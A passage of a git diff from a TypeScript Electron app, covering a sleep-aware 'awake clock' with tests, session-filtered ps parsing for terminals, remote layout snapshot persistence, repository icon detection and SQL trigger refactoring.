diff --git a/src/main/plugins/plugin-runtime-binding.ts b/src/main/plugins/plugin-runtime-binding.ts
index 279a2872e15..9b31e8e38bb 100644
--- a/src/main/plugins/plugin-runtime-binding.ts
+++ b/src/main/plugins/plugin-runtime-binding.ts
@@ -1,4 +1,5 @@
 import type { PluginEventName } from '../../shared/plugins/manifest/plugin-manifest'
+import { savedWorkspaceCatalog } from '../persistence/profile-save-domains'
 import type { PluginAgentStatusChangedPayload } from '../../shared/plugins/events/plugin-events'
 import { PLUGIN_WORKSPACE_TERMINAL_LIMIT } from '../../shared/plugins/workers/plugin-host-api'
 import type { PluginRuntimeDelegate } from './workers/plugin-host-service-bindings'
@@ -166,6 +167,7 @@ export function watchPluginWorkspaceContext(input: {
   delegate: PluginRuntimeDelegate
   events: PluginEvents
   onSessionWritten: (listener: () => void) => () => void
+  onStateWritten: (listener: (domains: readonly string[] | undefined) => void) => () => void
   delayMs?: number
 }): () => void {
   let timer: ReturnType<typeof setTimeout> | null = null
@@ -183,11 +185,19 @@ export function watchPluginWorkspaceContext(input: {
       input.events.emitEvent('workspace.changed', change)
     }
   }
-  const stop = input.onSessionWritten(() => {
+  const schedule = (): void => {
     timer ??= setTimeout(() => void check(), input.delayMs ?? WORKSPACE_CHANGE_DEBOUNCE_MS)
+  }
+  const stopSession = input.onSessionWritten(schedule)
+  // A folder workspace rename reaches the context through the catalog, not the session.
+  const stopCatalog = input.onStateWritten((domains) => {
+    if (savedWorkspaceCatalog(domains)) {
+      schedule()
+    }
   })
   return () => {
-    stop()
+    stopSession()
+    stopCatalog()
     if (timer) {
       clearTimeout(timer)
     }
diff --git a/src/main/power/awake-clock.test.ts b/src/main/power/awake-clock.test.ts
new file mode 100644
index 00000000000..a219521c127
--- /dev/null
+++ b/src/main/power/awake-clock.test.ts
@@ -0,0 +1,109 @@
+import { describe, expect, it } from 'vitest'
+import { AWAKE_CLOCK_HEARTBEAT_MS, createAwakeClock } from './awake-clock'
+
+type CounterModel = 'counts sleep (macOS/Windows Node)' | 'stops in sleep (Linux)'
+
+/** Wall and monotonic clocks the test moves. Awake time fires the heartbeat (an overdue beat fires
+ *  on wake); sleep fires nothing, and advances the monotonic counter only where that runtime's
+ *  counter counts sleep. */
+function testClocks(model: CounterModel) {
+  const time = { wall: 1_794_244_112_215, monotonic: 0 }
+  let pending: (() => void) | null = null
+  let beatOverdue = false
+  const beat = (): void => {
+    const due = pending
+    pending = null
+    due?.()
+  }
+  return {
+    time,
+    sources: {
+      wallNow: () => time.wall,
+      monotonicNow: () => time.monotonic,
+      after: (onBeat: () => void) => {
+        pending = onBeat
+      }
+    },
+    awake(ms: number) {
+      if (beatOverdue) {
+        beatOverdue = false
+        beat()
+      }
+      for (let left = ms; left > 0; left -= AWAKE_CLOCK_HEARTBEAT_MS) {
+        const step = Math.min(left, AWAKE_CLOCK_HEARTBEAT_MS)
+        time.wall += step
+        time.monotonic += step
+        if (step === AWAKE_CLOCK_HEARTBEAT_MS) {
+          beat()
+        }
+      }
+    },
+    asleep(ms: number) {
+      beatOverdue = true
+      time.wall += ms
+      if (model === 'counts sleep (macOS/Windows Node)') {
+        time.monotonic += ms
+      }
+    }
+  }
+}
+
+const MODELS: CounterModel[] = ['counts sleep (macOS/Windows Node)', 'stops in sleep (Linux)']
+const SETTLE = 120_000
+
+describe.each(MODELS)('awake clock on a monotonic counter that %s', (model) => {
+  it('does not count the time between suspend and resume', () => {
+    const clocks = testClocks(model)
+    const clock = createAwakeClock(clocks.sources)
+    const start = clock.now()
+    clocks.awake(2_000)
+    clock.suspend()
+    clocks.asleep(665_000)
+    // A timer that fires on wake before the resume event is delivered still reads the frozen clock.
+    expect(clock.now() - start).toBe(2_000)
+    clock.resume()
+    clocks.awake(3_000)
+    expect(clock.now() - start).toBe(5_000)
+  })
+
+  it('does not count a sleep that no power event reported', () => {
+    const clocks = testClocks(model)
+    const clock = createAwakeClock(clocks.sources)
+    const start = clock.now()
+    clocks.awake(AWAKE_CLOCK_HEARTBEAT_MS)
+    clocks.asleep(600_000)
+    clocks.awake(2_000)
+    expect(clock.now() - start).toBe(AWAKE_CLOCK_HEARTBEAT_MS + 2_000)
+  })
+
+  it('resumes by itself once the process has run for minutes after a lost resume event', () => {
+    const clocks = testClocks(model)
+    const clock = createAwakeClock(clocks.sources)
+    clock.suspend()
+    clocks.asleep(600_000)
+    const frozen = clock.now()
+    clocks.awake(100_000)
+    expect(clock.now()).toBe(frozen)
+    expect(clock.settled(SETTLE)).toBe(false)
+    clocks.awake(20_000)
+    // The two minutes it ran count as awake; the sleep before them does not.
+    expect(clock.now()).toBe(frozen + 120_000)
+    expect(clock.settled(SETTLE)).toBe(true)
+  })
+})
+
+describe.each(MODELS)('awake clock settling on a monotonic counter that %s', (model) => {
+  it('settles on schedule when the wall clock is corrected backward after a resume', () => {
+    const clocks = testClocks(model)
+    const clock = createAwakeClock(clocks.sources)
+    clock.suspend()
+    clocks.asleep(600_000)
+    clock.resume()
+    clocks.awake(30_000)
+    clocks.time.wall -= 60 * 60_000
+    clocks.awake(80_000)
+    expect(clock.settled(SETTLE)).toBe(false)
+    clocks.awake(10_000)
+    expect(clock.settled(SETTLE)).toBe(true)
+  })
+})
diff --git a/src/main/power/awake-clock.ts b/src/main/power/awake-clock.ts
new file mode 100644
index 00000000000..e14d54ddc79
--- /dev/null
+++ b/src/main/power/awake-clock.ts
@@ -0,0 +1,164 @@
+import { subscribeSystemPowerLifecycle } from './system-power-lifecycle'
+
+/** How often the clock samples itself while in use, so a stretch with no samples means the
+ *  process was not running (system sleep, or an App Nap-sized stall). */
+export const AWAKE_CLOCK_HEARTBEAT_MS = 20_000
+
+/** A sample gap this long means the process did not run in between. Sleeps shorter than this go
+ *  unnoticed without a power event. */
+export const AWAKE_CLOCK_SLEEP_GAP_MS = 3 * AWAKE_CLOCK_HEARTBEAT_MS
+
+/** The heartbeat stops after this long without a read. It outlasts the agent startup ceiling, and
+ *  the automation scheduler reads every tick only while an automation is enabled. */
+export const AWAKE_CLOCK_IDLE_MS = 15 * 60_000
+
+/** Uninterrupted running while still marked suspended after which a resume event was evidently
+ *  lost. Dark wakes run for seconds, so this never ends a real suspension early. */
+const LOST_RESUME_MS = 2 * 60_000
+
+export type AwakeClockSources = {
+  wallNow: () => number
+  /** Never runs backward or follows wall corrections. It may count sleep (macOS and Windows
+   *  Node clocks do) or not (Linux CLOCK_MONOTONIC); the clock is correct either way. */
+  monotonicNow: () => number
+  /** Runs `beat` once after `ms`. Timers do not fire while the machine sleeps. */
+  after: (beat: () => void, ms: number) => void
+}
+
+export type AwakeClock = {
+  /** Milliseconds of awake time, anchored to the wall clock at creation: it stands still while
+   *  suspended or in a stretch the process did not run, and ignores wall-clock corrections. */
+  now(): number
+  /** Not suspended, and awake for at least `settleMs` since the last wake. */
+  settled(settleMs: number): boolean
+  suspend(): void
+  resume(): void
+}
+
+const SYSTEM_SOURCES: AwakeClockSources = {
+  // Read through the globals each time so test fake timers apply.
+  wallNow: () => Date.now(),
+  monotonicNow: () => globalThis.performance.now(),
+  after: (beat, ms) => {
+    setTimeout(beat, ms).unref()
+  }
+}
+
+/** Why: a wall-clock deadline expires the moment a laptop wakes from a sleep that outlasted it,
+ *  so anything that times out an active process must not count the time the machine slept.
+ *  Limit: reads more than AWAKE_CLOCK_IDLE_MS apart, with no power event, cannot tell a sleep
+ *  between them from idle time on a counter that counts sleep. */
+export function createAwakeClock(sources: AwakeClockSources = SYSTEM_SOURCES): AwakeClock {
+  const { wallNow, monotonicNow } = sources
+  const createdAt = { wall: wallNow(), monotonic: monotonicNow() }
+  /** Monotonic time excluded from awake time. */
+  let slept = 0
+  let suspendedAt: number | null = null
+  /** Monotonic start of the current stretch the process has run without a gap. */
+  let runningSince = createdAt.monotonic
+  /** Awake reading at the last wake; null until the machine is seen to wake. */
+  let lastWakeAt: number | null = null
+  let sample = { ...createdAt }
+  let lastReadAt = createdAt.monotonic
+  let beating = false
+
+  const awake = (monotonic: number): number =>
+    monotonic - createdAt.monotonic - slept - (suspendedAt === null ? 0 : monotonic - suspendedAt)
+
+  const endSuspension = (resumedAt: number): void => {
+    if (suspendedAt === null) {
+      return
+    }
+    slept += Math.max(0, resumedAt - suspendedAt)
+    suspendedAt = null
+    lastWakeAt = awake(resumedAt)
+  }
+
+  /** Reads both clocks and records any stretch the process did not run as a wake. */
+  const observe = (afterIdle: boolean): number => {
+    const wall = wallNow()
+    const monotonic = monotonicNow()
+    const sinceMonotonic = monotonic - sample.monotonic
+    // A counter that counts sleep shows the gap itself; one that excludes it shows only on the
+    // wall. After an unsampled idle stretch, only the wall gap is evidence of sleep.
+    const counterGap =
+      !afterIdle && (sinceMonotonic < 0 || sinceMonotonic > AWAKE_CLOCK_SLEEP_GAP_MS)
+    const wallGap = wall - sample.wall - sinceMonotonic > AWAKE_CLOCK_SLEEP_GAP_MS
+    sample = { wall, monotonic }
+    if (counterGap || wallGap) {
+      runningSince = monotonic
+      if (suspendedAt === null) {
+        // A suspension's span is excluded on resume; outside one, exclude the gap now.
+        slept += counterGap ? sinceMonotonic : 0
+        lastWakeAt = awake(monotonic)
+      }
+    }
+    if (suspendedAt !== null && monotonic - runningSince >= LOST_RESUME_MS) {
+      endSuspension(Math.max(suspendedAt, runningSince))
+    }
+    return monotonic
+  }
+
+  const beat = (): void => {
+    const monotonic = observe(false)
+    beating = monotonic - lastReadAt < AWAKE_CLOCK_IDLE_MS
+    if (beating) {
+      sources.after(beat, AWAKE_CLOCK_HEARTBEAT_MS)
+    }
+  }
+
+  const read = (): number => {
+    const monotonic = observe(!beating)
+    lastReadAt = monotonic
+    if (!beating) {
+      beating = true
+      sources.after(beat, AWAKE_CLOCK_HEARTBEAT_MS)
+    }
+    return monotonic
+  }
+
+  return {
+    now: () => createdAt.wall + awake(read()),
+    settled(settleMs) {
+      const monotonic = read()
+      return (
+        suspendedAt === null && (lastWakeAt === null || awake(monotonic) - lastWakeAt >= settleMs)
+      )
+    },
+    suspend() {
+      // Dark wake can re-suspend without a resume; keep the earliest stamp.
+      const monotonic = read()
+      if (suspendedAt === null) {
+        suspendedAt = monotonic
+        runningSince = monotonic
+      }
+    },
+    resume() {
+      const monotonic = read()
+      runningSince = monotonic
+      endSuspension(monotonic)
+    }
+  }
+}
+
+let systemAwakeClock: AwakeClock | null = null
+
+/** The process-wide awake clock, driven by the system's suspend and resume events where a
+ *  publisher exists (desktop) and by its own sampling everywhere (including orcad). */
+export function getSystemAwakeClock(): AwakeClock {
+  if (!systemAwakeClock) {
+    const clock = createAwakeClock()
+    systemAwakeClock = clock
+    // Lives for the process; subscribing replays the current state, which is harmless here.
+    subscribeSystemPowerLifecycle({
+      onSuspend: () => clock.suspend(),
+      onResume: () => clock.resume()
+    })
+  }
+  return systemAwakeClock
+}
+
+/** The awake clock's reading; a drop-in for `Date.now` in startup deadlines. */
+export function awakeNow(): number {
+  return getSystemAwakeClock().now()
+}
diff --git a/src/main/pty/process-retirement/pty-master-foreground-observation.ts b/src/main/pty/process-retirement/pty-master-foreground-observation.ts
index 70eeb61b08a..f2114a14a1b 100644
--- a/src/main/pty/process-retirement/pty-master-foreground-observation.ts
+++ b/src/main/pty/process-retirement/pty-master-foreground-observation.ts
@@ -137,7 +137,7 @@ export async function observePtyForeground(
     ) {
       return unknown('terminal_unavailable')
     }
-    const rows = await readPtyTerminalRows(tty, deadlineMs - Date.now())
+    const rows = await readPtyTerminalRows(tty, proc.pid, deadlineMs - Date.now())
     if (!alive()) {
       return unknown('session_changed')
     }
diff --git a/src/main/pty/process-retirement/terminal-process-rows.ts b/src/main/pty/process-retirement/terminal-process-rows.ts
index 9dbbf66acd7..60d88fa4d27 100644
--- a/src/main/pty/process-retirement/terminal-process-rows.ts
+++ b/src/main/pty/process-retirement/terminal-process-rows.ts
@@ -83,20 +83,57 @@ export async function readTerminalTty(
   return output === null ? null : normalizePtyTty(output)
 }
 
+/** A container's private pts/N reuses the host's terminal number while its processes keep their own session, so
+ * ps -t lists them beside the terminal's own (#39488). Strip the sid column ps prefixes and keep only the anchor
+ * process's session; a missing anchor row keeps every row. */
+function parseTerminalSessionRows(stdout: string, anchorPid: number): ProcessTableRow[] {
+  const sidByPid = new Map<number, number>()
+  const body = stdout
+    .split(/\r?\n/)
+    .map((line) => {
+      const match = line.trim().match(/^(\d+)\s+(\d+)\s+(.*)$/)
+      if (!match) {
+        return line.trim()
+      }
+      sidByPid.set(Number(match[2]), Number(match[1]))
+      return `${match[2]} ${match[3]}`
+    })
+    .join('\n')
+  const rows = parseShellForegroundRows(body, { strict: true })
+  const anchorSid = sidByPid.get(anchorPid)
+  return anchorSid === undefined ? rows : rows.filter((row) => sidByPid.get(row.pid) === anchorSid)
+}
+
 export async function readPtyTerminalRows(
   tty: string,
+  anchorPid: number,
   timeoutMs = PS_TIMEOUT_MS
 ): Promise<ProcessTableRow[] | null> {
   const normalized = normalizePtyTty(tty)
   if (!normalized || timeoutMs <= 0) {
     return null
   }
+  // macOS ps has no sid keyword.
+  const withSid = process.platform === 'linux'
   const stdout = await readTerminalPs(
-    ['-ww', '-o', 'pid=,ppid=,pgid=,tpgid=,stat=,command=', '-t', normalized],
+    [
+      '-ww',
+      '-o',
+      withSid
+        ? 'sid=,pid=,ppid=,pgid=,tpgid=,stat=,command='
+        : 'pid=,ppid=,pgid=,tpgid=,stat=,command=',
+      '-t',
+      normalized
+    ],
     timeoutMs
   )
   try {
-    return stdout === null ? null : parseShellForegroundRows(stdout, { strict: true })
+    if (stdout === null) {
+      return null
+    }
+    return withSid
+      ? parseTerminalSessionRows(stdout, anchorPid)
+      : parseShellForegroundRows(stdout, { strict: true })
   } catch {
     return null
   }
@@ -106,7 +143,7 @@ export async function readPtyTerminalRows(
 export async function readTerminalProcessRows(rootPid: number): Promise<ProcessTableRow[] | null> {
   const deadline = Date.now() + PS_TIMEOUT_MS
   const tty = await readTerminalTty(rootPid, deadline - Date.now())
-  const rows = tty ? await readPtyTerminalRows(tty, deadline - Date.now()) : null
+  const rows = tty ? await readPtyTerminalRows(tty, rootPid, deadline - Date.now()) : null
   if (!rows?.some((row) => row.pid === rootPid) || Date.now() >= deadline) {
     return null
   }
diff --git a/src/main/rate-limits/providers/minimax/minimax-request-context.test.ts b/src/main/rate-limits/providers/minimax/minimax-request-context.test.ts
index c4addf7a72c..68fc9ef7b35 100644
--- a/src/main/rate-limits/providers/minimax/minimax-request-context.test.ts
+++ b/src/main/rate-limits/providers/minimax/minimax-request-context.test.ts
@@ -1,27 +1,6 @@
-import { describe, expect, it, vi } from 'vitest'
-import type { Session } from 'electron'
-import { setMainHttpClient } from '../../../network/http-client'
-
-const { fetchMock, sessionFromPartitionMock } = vi.hoisted(() => {
-  const fetchMock = vi.fn()
-  const cookiesSetMock = vi.fn(() => Promise.resolve())
-  const clearStorageDataMock = vi.fn(() => Promise.resolve())
-  const sessionFromPartitionMock = vi.fn(() => ({
-    clearStorageData: clearStorageDataMock,
-    cookies: { set: cookiesSetMock },
-    fetch: fetchMock
-  }))
-  return { clearStorageDataMock, cookiesSetMock, fetchMock, sessionFromPartitionMock }
-})
+import { describe, expect, it } from 'vitest'
 import { redactMiniMaxSecret } from './minimax-request-context'
 
-setMainHttpClient({
-  fetch: fetchMock,
-  proxySession: () => null,
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the code under test only calls clearStorageData, cookies.set and fetch, which the fake provides.
-  partitionSession: sessionFromPartitionMock as unknown as (partition: string) => Session
-})
-
 describe('redactMiniMaxSecret', () => {
   it('redacts _token values in header and quoted syntax', () => {
     const redacted = redactMiniMaxSecret('cookie _token=eyJhABCDEF and _token:"x.y"')
diff --git a/src/main/remote-layout-snapshot/remote-layout-snapshot-persistence.test.ts b/src/main/remote-layout-snapshot/remote-layout-snapshot-persistence.test.ts
index 9b80228c4c3..560749b1c21 100644
--- a/src/main/remote-layout-snapshot/remote-layout-snapshot-persistence.test.ts
+++ b/src/main/remote-layout-snapshot/remote-layout-snapshot-persistence.test.ts
@@ -153,5 +153,5 @@ it('keeps a title-only change without arming a save, and writes it with the next
   // Another domain's save writes only the domains marked dirty, which must include this one.
   store.updateSettings({ opencodeSessionCookie: 'cookie' })
   store.flushOrThrow()
-  expect(open().getRemoteLayoutSnapshot('env')?.workspaces[workspace.worktree]).toEqual(retitled)
+  expect(open().getRemoteLayoutSnapshots().env?.workspaces[workspace.worktree]).toEqual(retitled)
 })
diff --git a/src/main/remote-layout-snapshot/remote-layout-snapshot-persistence.ts b/src/main/remote-layout-snapshot/remote-layout-snapshot-persistence.ts
index 04560570a45..45186efd4dd 100644
--- a/src/main/remote-layout-snapshot/remote-layout-snapshot-persistence.ts
+++ b/src/main/remote-layout-snapshot/remote-layout-snapshot-persistence.ts
@@ -1,4 +1,7 @@
-import type { RemoteLayoutSnapshot } from '../../shared/remote-layout-snapshot'
+import type {
+  RemoteLayoutSnapshot,
+  RemoteLayoutSnapshotWorkspace
+} from '../../shared/remote-layout-snapshot'
 import type { StoreRuntimeState } from '../persistence/loading-store/store-runtime-state'
 import type { WriteSchedulingOperations } from '../persistence/loading-store/write-scheduling'
 import { scheduleSave } from '../persistence/loading-store/write-scheduling'
@@ -11,6 +14,28 @@ type RemoteLayoutSnapshotPersistenceContext = {
   scheduling: WriteSchedulingOperations
 }
 
+function writeSnapshotEntry<T>(entries: Record<string, T>, id: string, value: T): void {
+  // Admitted string identities must remain own keys even when named __proto__.
+  Object.defineProperty(entries, id, {
+    value,
+    configurable: true,
+    enumerable: true,
+    writable: true
+  })
+}
+
+function saveRemoteLayoutSnapshots(
+  { runtime, scheduling }: RemoteLayoutSnapshotPersistenceContext,
+  save: 'now' | 'later'
+): void {
+  if (save === 'later') {
+    runtime.dirtyProfileStateDomains?.add('remoteLayoutSnapshots')
+    return
+  }
+  // Save only this domain without waking workspace-session listeners.
+  scheduleSave(scheduling, ['remoteLayoutSnapshots'])
+}
+
 export class RemoteLayoutSnapshotPersistence {
   readonly [remoteLayoutSnapshotPersistenceContext]: RemoteLayoutSnapshotPersistenceContext
 
@@ -18,10 +43,18 @@ export class RemoteLayoutSnapshotPersistence {
     this[remoteLayoutSnapshotPersistenceContext] = { runtime, scheduling }
   }
 
-  getRemoteLayoutSnapshot(environmentId: string): RemoteLayoutSnapshot | undefined {
-    return this[remoteLayoutSnapshotPersistenceContext].runtime.state.remoteLayoutSnapshots?.[
-      environmentId
-    ]
+  /** Recorder-only lookup; workspace values are replaced, never mutated. */
+  getRemoteLayoutSnapshotWorkspace(
+    environmentId: string,
+    worktreeId: string
+  ): RemoteLayoutSnapshotWorkspace | undefined {
+    const snapshots =
+      this[remoteLayoutSnapshotPersistenceContext].runtime.state.remoteLayoutSnapshots
+    const snapshot =
+      snapshots && Object.hasOwn(snapshots, environmentId) ? snapshots[environmentId] : undefined
+    return snapshot && Object.hasOwn(snapshot.workspaces, worktreeId)
+      ? snapshot.workspaces[worktreeId]
+      : undefined
   }
 
   getRemoteLayoutSnapshots(): Record<string, RemoteLayoutSnapshot> {
@@ -31,7 +64,7 @@ export class RemoteLayoutSnapshotPersistence {
     return Object.fromEntries(
       Object.entries(stored).map(([environmentId, { workspaces }]) => [
         environmentId,
-        { workspaces }
+        { workspaces: structuredClone(workspaces) }
       ])
     )
   }
@@ -42,19 +75,36 @@ export class RemoteLayoutSnapshotPersistence {
     snapshot: RemoteLayoutSnapshot | null,
     save: 'now' | 'later'
   ): void {
-    const { runtime, scheduling } = this[remoteLayoutSnapshotPersistenceContext]
-    const { [environmentId]: previous, ...others } = runtime.state.remoteLayoutSnapshots ?? {}
-    if (snapshot === null && previous === undefined) {
+    const context = this[remoteLayoutSnapshotPersistenceContext]
+    const snapshots = (context.runtime.state.remoteLayoutSnapshots ??= {})
+    if (snapshot === null && !Object.hasOwn(snapshots, environmentId)) {
       return
     }
-    runtime.state.remoteLayoutSnapshots = snapshot
-      ? { ...others, [environmentId]: snapshot }
-      : others
-    if (save === 'later') {
-      runtime.dirtyProfileStateDomains?.add('remoteLayoutSnapshots')
-      return
+    if (snapshot) {
+      writeSnapshotEntry(snapshots, environmentId, snapshot)
+    } else {
+      delete snapshots[environmentId]
     }
-    // Save only this domain without waking workspace-session listeners.
-    scheduleSave(scheduling, ['remoteLayoutSnapshots'])
+    saveRemoteLayoutSnapshots(context, save)
+  }
+
+  setRemoteLayoutSnapshotWorkspace(
+    environmentId: string,
+    worktreeId: string,
+    workspace: RemoteLayoutSnapshotWorkspace | null,
+    save: 'now' | 'later'
+  ): void {
+    const context = this[remoteLayoutSnapshotPersistenceContext]
+    const snapshots = (context.runtime.state.remoteLayoutSnapshots ??= {})
+    const workspaces = Object.hasOwn(snapshots, environmentId)
+      ? snapshots[environmentId].workspaces
+      : {}
+    if (workspace) {
+      writeSnapshotEntry(workspaces, worktreeId, workspace)
+    } else {
+      delete workspaces[worktreeId]
+    }
+    writeSnapshotEntry(snapshots, environmentId, { workspaces })
+    saveRemoteLayoutSnapshots(context, save)
   }
 }
diff --git a/src/main/remote-layout-snapshot/remote-layout-snapshot-recorder.test.ts b/src/main/remote-layout-snapshot/remote-layout-snapshot-recorder.test.ts
index 516d53f820b..20f8ac06316 100644
--- a/src/main/remote-layout-snapshot/remote-layout-snapshot-recorder.test.ts
+++ b/src/main/remote-layout-snapshot/remote-layout-snapshot-recorder.test.ts
@@ -13,7 +13,18 @@ function memoryStore() {
   const snapshots = new Map<string, RemoteLayoutSnapshot>()
   const saves: ('now' | 'later')[] = []
   const store: RemoteLayoutSnapshotStore = {
-    getRemoteLayoutSnapshot: (environmentId) => snapshots.get(environmentId),
+    getRemoteLayoutSnapshotWorkspace: (environmentId, worktreeId) =>
+      snapshots.get(environmentId)?.workspaces[worktreeId],
+    setRemoteLayoutSnapshotWorkspace: (environmentId, worktreeId, workspace, save) => {
+      saves.push(save)
+      const snapshot = snapshots.get(environmentId) ?? { workspaces: {} }
+      if (workspace) {
+        snapshot.workspaces[worktreeId] = workspace
+      } else {
+        delete snapshot.workspaces[worktreeId]
+      }
+      snapshots.set(environmentId, snapshot)
+    },
     setRemoteLayoutSnapshot: (environmentId, snapshot, save) => {
       saves.push(save)
       if (snapshot) {
diff --git a/src/main/remote-layout-snapshot/remote-layout-snapshot-recorder.ts b/src/main/remote-layout-snapshot/remote-layout-snapshot-recorder.ts
index 36bec681970..78c3e040212 100644
--- a/src/main/remote-layout-snapshot/remote-layout-snapshot-recorder.ts
+++ b/src/main/remote-layout-snapshot/remote-layout-snapshot-recorder.ts
@@ -8,7 +8,16 @@ import type { RuntimeRpcResponse } from '../../shared/runtime-rpc-envelope'
 import type { RuntimeMobileSessionTabsResult } from '../../shared/runtime-session-contracts'
 
 export type RemoteLayoutSnapshotStore = {
-  getRemoteLayoutSnapshot(environmentId: string): RemoteLayoutSnapshot | undefined
+  getRemoteLayoutSnapshotWorkspace(
+    environmentId: string,
+    worktreeId: string
+  ): RemoteLayoutSnapshotWorkspace | undefined
+  setRemoteLayoutSnapshotWorkspace(
+    environmentId: string,
+    worktreeId: string,
+    workspace: RemoteLayoutSnapshotWorkspace | null,
+    save: 'now' | 'later'
+  ): void
   setRemoteLayoutSnapshot(
     environmentId: string,
     snapshot: RemoteLayoutSnapshot | null,
@@ -77,16 +86,16 @@ export function recordRemoteLayoutFrame(
     return
   }
   const { type: _type, removed, ...result } = frame
-  const { [frame.worktree]: previous, ...others } =
-    store.getRemoteLayoutSnapshot(environmentId)?.workspaces ?? {}
+  const previous = store.getRemoteLayoutSnapshotWorkspace(environmentId, frame.worktree)
   if (removed) {
-    store.setRemoteLayoutSnapshot(environmentId, { workspaces: others }, 'now')
+    store.setRemoteLayoutSnapshotWorkspace(environmentId, frame.worktree, null, 'now')
     return
   }
   const workspace = displayed(result)
-  store.setRemoteLayoutSnapshot(
+  store.setRemoteLayoutSnapshotWorkspace(
     environmentId,
-    { workspaces: { ...others, [frame.worktree]: workspace } },
+    frame.worktree,
+    workspace,
     structure(previous) === structure(workspace) ? 'later' : 'now'
   )
 }
diff --git a/src/main/repository-icons/repo-icon-autodetect.ts b/src/main/repository-icons/repo-icon-autodetect.ts
index 64dce61e202..393672a9ef9 100644
--- a/src/main/repository-icons/repo-icon-autodetect.ts
+++ b/src/main/repository-icons/repo-icon-autodetect.ts
@@ -8,7 +8,7 @@ import {
   githubAvatarSlug,
   type RepoIcon
 } from '../../shared/repo-icon'
-import { getRepoSlug, getRepoUpstream } from '../github/client/fetch/repo-slug-upstream'
+import { getRepoSlug } from '../github/client/fetch/repo-slug-upstream'
 import {
   resolveFilesystemRouteForHost,
   resolveGitRouteForHost
@@ -92,6 +92,24 @@ export async function detectGitHubAvatarIcon(
   }
 }
 
+async function detectRepoLocalIcon(
+  repoPath: string,
+  executionHostId: ExecutionHostId
+): Promise<RepoIcon | undefined> {
+  try {
+    const route = resolveFilesystemRouteForHost(executionHostId)
+    const fileIcon = await detectRepoFileIcon(repoPath, route)
+    if (fileIcon) {
+      return fileIcon
+    }
+    return (
+      (route.kind === 'local' ? await detectLocalPackageHomepageIcon(repoPath) : null) ?? undefined
+    )
+  } catch {
+    return undefined
+  }
+}
+
 export async function detectRepoIcon({
   repoPath,
   kind,
@@ -103,30 +121,15 @@ export async function detectRepoIcon({
   executionHostId: ExecutionHostId
   upstream?: GitHubRepositoryIdentity | null
 }): Promise<RepoIcon | undefined> {
-  try {
-    const route = resolveFilesystemRouteForHost(executionHostId)
-    const fileIcon = await detectRepoFileIcon(repoPath, route)
-    if (fileIcon) {
-      return fileIcon
-    }
-
-    const homepageIcon =
-      route.kind === 'local' ? await detectLocalPackageHomepageIcon(repoPath) : null
-    if (homepageIcon) {
-      return homepageIcon
-    }
-
-    if (kind === 'git') {
-      return (await detectGitHubAvatarIcon(repoPath, executionHostId, upstream)) ?? undefined
-    }
-  } catch {
-    // Icon failures must not prevent repo creation.
-  }
-  return undefined
+  return (
+    (await detectRepoLocalIcon(repoPath, executionHostId)) ??
+    (kind === 'git'
+      ? ((await detectGitHubAvatarIcon(repoPath, executionHostId, upstream)) ?? undefined)
+      : undefined)
+  )
 }
 
-// A null upstream marks a resolved non-fork and prevents repeated probes.
-export async function detectRepoIconAndUpstream({
+export async function detectRepoLocalMetadata({
   repoPath,
   kind,
   executionHostId
@@ -135,22 +138,13 @@ export async function detectRepoIconAndUpstream({
   kind: RepoKind
   executionHostId: ExecutionHostId
 }) {
-  const remoteRead = repoRemoteReadConnection(executionHostId)
-  const upstream =
-    kind === 'git' && remoteRead.kind === 'dial'
-      ? await getRepoUpstream(repoPath, remoteRead.connectionId)
-      : null
   const gitRemoteIdentity =
     kind === 'git'
-      ? await detectGitRemoteIdentity(repoPath, executionHostId, {
-          // Host Git on purpose: this runs while the project is being added, before it exists.
-          hostGit: true
-        })
+      ? await detectGitRemoteIdentity(repoPath, executionHostId, { hostGit: true })
       : null
-  const repoIcon = await detectRepoIcon({ repoPath, kind, executionHostId, upstream })
+  const repoIcon = await detectRepoLocalIcon(repoPath, executionHostId)
   return {
     ...(repoIcon ? { repoIcon } : {}),
-    ...(gitRemoteIdentity ? { gitRemoteIdentity } : {}),
-    ...(kind === 'git' ? { upstream: upstream ?? null } : {})
+    ...(gitRemoteIdentity ? { gitRemoteIdentity } : {})
   }
 }
diff --git a/src/main/runtime/agent-senders/runtime-agent-sender-history-triggers.ts b/src/main/runtime/agent-senders/runtime-agent-sender-history-triggers.ts
index f2247f0d6c0..bc4a2a4f6a2 100644
--- a/src/main/runtime/agent-senders/runtime-agent-sender-history-triggers.ts
+++ b/src/main/runtime/agent-senders/runtime-agent-sender-history-triggers.ts
@@ -1,4 +1,5 @@
 import { z } from 'zod'
+import { projectionMutationTriggers } from '../orchestration/db/projection-mutation-triggers'
 import type { OrchestrationDb } from '../orchestration/db/orchestration-db'
 import { tolerant } from './agent-sender-row-decoding'
 
@@ -65,26 +66,15 @@ CREATE TEMP TABLE IF NOT EXISTS agent_sender_tracked (
   kind TEXT NOT NULL, key TEXT NOT NULL, PRIMARY KEY (kind, key)) WITHOUT ROWID;
 CREATE TEMP TABLE IF NOT EXISTS agent_sender_dirty (
   kind TEXT NOT NULL, key TEXT NOT NULL, PRIMARY KEY (kind, key)) WITHOUT ROWID;
-${HISTORY_TRIGGERS.flatMap((trigger) => {
-  const events: { name: string; event: string; marks: string[] }[] = [
-    { name: 'insert', event: 'AFTER INSERT', marks: [markDirty('NEW', trigger)] },
-    { name: 'delete', event: 'AFTER DELETE', marks: [markDirty('OLD', trigger)] },
-    {
-      name: 'update',
-      event: `AFTER UPDATE OF ${trigger.columns}`,
-      marks: [markDirty('OLD', trigger), markDirty('NEW', trigger)]
-    }
-  ]
-  return events.map(
-    ({
-      name,
-      event,
-      marks
-    }) => `CREATE TEMP TRIGGER IF NOT EXISTS agent_sender_${trigger.table}_${name}
-${event} ON main.${trigger.table}
-BEGIN UPDATE temp.agent_sender_generation SET history = history + 1; ${marks.join(' ')} END;`
-  )
-}).join('\n')}
+${projectionMutationTriggers(
+  'agent_sender',
+  HISTORY_TRIGGERS.map((trigger) => ({
+    table: trigger.table,
+    columns: trigger.columns,
+    mark: (row) => markDirty(row, trigger)
+  })),
+  'UPDATE temp.agent_sender_generation SET history = history + 1;'
+)}
 ${['insert', 'delete', 'update']
   .map(
     (name) => `CREATE TEMP TRIGGER IF NOT EXISTS agent_sender_federated_dispatches_${name}
diff --git a/src/main/runtime/agent-session/structured-agent-session-codex-start-deadline.test.ts b/src/main/runtime/agent-session/structured-agent-session-codex-start-deadline.test.ts
index 8bf7a3f8597..b3287654d4d 100644
--- a/src/main/runtime/agent-session/structured-agent-session-codex-start-deadline.test.ts
